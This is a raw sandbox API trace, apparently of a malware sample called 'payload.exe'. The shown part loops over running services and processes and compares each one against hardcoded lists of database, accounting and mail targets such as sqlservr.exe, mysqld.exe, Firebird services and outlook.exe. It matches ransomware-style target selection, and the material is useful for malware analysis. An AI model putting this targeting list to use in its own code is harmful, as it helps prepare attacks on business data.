[0096.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0096.803] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0096.803] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0096.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0096.803] lstrlenW (lpString="Netman") returned 6 [0096.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0096.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0096.803] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0096.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0096.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0096.803] lstrlenW (lpString="netprofm") returned 8 [0096.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0096.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0096.803] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0096.803] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0096.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0096.803] lstrlenW (lpString="NlaSvc") returned 6 [0096.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0096.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0096.803] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0096.803] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0096.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0096.803] lstrlenW (lpString="nsi") returned 3 [0096.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0096.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0096.803] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0096.803] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0096.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0096.803] lstrlenW (lpString="PcaSvc") returned 6 [0096.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0096.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0096.803] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0096.803] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0096.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0096.803] lstrlenW (lpString="PlugPlay") returned 8 [0096.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0096.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0096.803] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0096.803] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0096.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0096.803] lstrlenW (lpString="Power") returned 5 [0096.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0096.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0096.803] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0096.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0096.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0096.804] lstrlenW (lpString="ProfSvc") returned 7 [0096.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0096.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0096.804] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0096.804] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0096.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0096.804] lstrlenW (lpString="RpcEptMapper") returned 12 [0096.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0096.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0096.804] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0096.804] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0096.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0096.804] lstrlenW (lpString="RpcSs") returned 5 [0096.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0096.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0096.804] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0096.804] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0096.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0096.804] lstrlenW (lpString="SamSs") returned 5 [0096.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0096.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0096.804] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0096.804] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0096.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0096.804] lstrlenW (lpString="Schedule") returned 8 [0096.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0096.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0096.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0096.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0096.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0096.804] lstrlenW (lpString="SENS") returned 4 [0096.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0096.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0096.804] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0096.804] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0096.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0096.804] lstrlenW (lpString="ShellHWDetection") returned 16 [0096.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0096.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0096.804] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0096.804] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0096.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0096.804] lstrlenW (lpString="Spooler") returned 7 [0096.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0096.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0096.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0096.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0096.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0096.805] lstrlenW (lpString="SysMain") returned 7 [0096.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0096.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0096.805] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0096.805] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0096.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0096.805] lstrlenW (lpString="Themes") returned 6 [0096.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0096.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0096.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0096.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0096.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0096.805] lstrlenW (lpString="TrkWks") returned 6 [0096.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0096.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0096.805] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0096.805] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0096.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0096.805] lstrlenW (lpString="UxSms") returned 5 [0096.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0096.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0096.805] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0096.805] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0096.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0096.805] lstrlenW (lpString="WdiServiceHost") returned 14 [0096.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0096.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0096.805] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0096.805] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0096.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0096.805] lstrlenW (lpString="Winmgmt") returned 7 [0096.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0096.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0096.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0096.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0096.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0096.805] lstrlenW (lpString="WPDBusEnum") returned 10 [0096.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0096.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0096.806] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0096.806] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0096.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0096.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4061238 | out: hHeap=0x4f0000) returned 1 [0096.806] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3ac [0096.807] Process32FirstW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0096.807] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0096.808] lstrlenW (lpString="System") returned 6 [0096.808] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0096.808] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0096.808] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0096.808] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0096.808] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0096.808] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0096.808] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0096.808] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0096.808] lstrlenW (lpString="smss.exe") returned 8 [0096.808] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0096.808] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0096.808] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0096.808] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0096.808] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0096.808] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0096.808] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0096.808] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0096.808] lstrlenW (lpString="csrss.exe") returned 9 [0096.808] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0096.809] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0096.809] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0096.809] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0096.809] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0096.809] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0096.809] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0096.809] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0096.809] lstrlenW (lpString="wininit.exe") returned 11 [0096.809] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0096.809] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0096.809] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0096.809] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0096.809] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0096.809] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0096.809] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0096.809] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0096.809] lstrlenW (lpString="csrss.exe") returned 9 [0096.809] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0096.809] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0096.809] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0096.809] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0096.809] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0096.809] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0096.809] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0096.810] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0096.810] lstrlenW (lpString="winlogon.exe") returned 12 [0096.810] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0096.810] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0096.810] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0096.810] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0096.810] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0096.810] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0096.810] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0096.810] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0096.810] lstrlenW (lpString="services.exe") returned 12 [0096.810] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0096.810] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0096.810] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0096.810] lstrlenW (lpString="lsass.exe") returned 9 [0096.811] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0096.811] lstrlenW (lpString="lsm.exe") returned 7 [0096.811] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.811] lstrlenW (lpString="svchost.exe") returned 11 [0096.811] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.811] lstrlenW (lpString="svchost.exe") returned 11 [0096.811] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.812] lstrlenW (lpString="svchost.exe") returned 11 [0096.812] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.812] lstrlenW (lpString="svchost.exe") returned 11 [0096.812] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.812] lstrlenW (lpString="svchost.exe") returned 11 [0096.812] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0096.812] lstrlenW (lpString="audiodg.exe") returned 11 [0096.812] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.813] lstrlenW (lpString="svchost.exe") returned 11 [0096.813] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.813] lstrlenW (lpString="svchost.exe") returned 11 [0096.813] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0096.813] lstrlenW (lpString="userinit.exe") returned 12 [0096.813] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0096.813] lstrlenW (lpString="dwm.exe") returned 7 [0096.813] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0096.814] lstrlenW (lpString="explorer.exe") returned 12 [0096.814] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0096.814] lstrlenW (lpString="spoolsv.exe") returned 11 [0096.814] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0096.814] lstrlenW (lpString="taskhost.exe") returned 12 [0096.814] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.814] lstrlenW (lpString="svchost.exe") returned 11 [0096.814] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0096.815] lstrlenW (lpString="payload.exe") returned 11 [0096.815] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0096.815] lstrlenW (lpString="reader_sl.exe") returned 13 [0096.815] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0096.815] lstrlenW (lpString="taskhost.exe") returned 12 [0096.815] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0096.815] CloseHandle (hObject=0x3ac) returned 1 [0096.815] Sleep (dwMilliseconds=0x1f4) [0097.632] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab71e8 [0097.640] EnumServicesStatusExW (in: hSCManager=0x3ab71e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0097.640] GetLastError () returned 0xea [0097.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x113e) returned 0x4166030 [0097.641] EnumServicesStatusExW (in: hSCManager=0x3ab71e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4166030, cbBufSize=0x113e, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4166030, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0097.641] CloseServiceHandle (hSCObject=0x3ab71e8) returned 1 [0097.641] lstrlenW (lpString="Appinfo") returned 7 [0097.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0097.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0097.641] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0097.641] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0097.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0097.641] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0097.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0097.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0097.641] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 